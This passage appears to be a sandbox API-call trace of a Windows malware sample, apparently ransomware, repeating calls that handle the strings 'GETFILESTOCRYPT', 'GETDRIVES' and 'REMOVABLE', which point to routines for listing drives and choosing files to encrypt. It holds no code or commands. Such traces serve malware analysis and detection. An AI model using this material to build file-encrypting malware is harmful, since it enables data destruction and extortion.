lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.088] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.088] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.088] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.088] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.088] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.088] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.089] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.089] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.089] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.089] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.089] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.089] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.089] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.089] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.089] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.089] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.089] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.090] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.090] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.090] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.090] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.090] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.090] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.090] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.090] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.091] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.091] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.091] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.091] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.091] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.091] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.092] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.092] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.092] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.092] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.092] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.092] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.092] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.092] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.092] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.092] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.092] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.092] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.093] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.093] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.093] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.093] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.093] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.093] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.093] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.093] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.093] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.093] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.093] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.093] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.093] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.094] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.094] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.094] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.094] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.094] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.094] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.094] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.094] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.102] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.102] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.102] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.102] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.103] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.103] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.103] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.103] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.103] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.103] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.103] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.103] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.104] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.104] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.104] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.104] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.104] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.104] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.104] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.104] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.105] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.105] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.105] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.105] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.105] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.105] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.105] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.105] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.105] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.105] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.105] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.129] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.129] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.129] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.130] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.130] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.130] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.130] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.130] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.130] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.130] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.130] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.130] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.130] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.130] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.131] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.131] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.131] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.131] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.131] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.131] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.131] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.131] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.132] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.132] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.132] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.132] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.132] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.132] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.132] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.151] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.151] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.151] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.151] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.151] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.151] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.151] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.152] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.152] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.152] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.152] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.152] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.152] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.152] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.153] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.153] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.153] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.153] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.153] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.153] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.153] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.153] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.153] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.153] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.154] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.154] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.154] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.154] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.154] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.154] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.154] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.155] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.155] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.155] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.155] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.155] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.155] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.155] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.155] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.155] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.155] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.155] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.155] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.156] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.156] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.156] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.156] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.156] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.156] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.156] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.156] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.156] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.156] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.156] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.156] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.157] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.157] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.157] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.157] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.157] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.157] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.165] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.165] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.165] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.165] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.165] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.165] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.166] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.166] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.166] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.166] CharUpperBuffW (in: 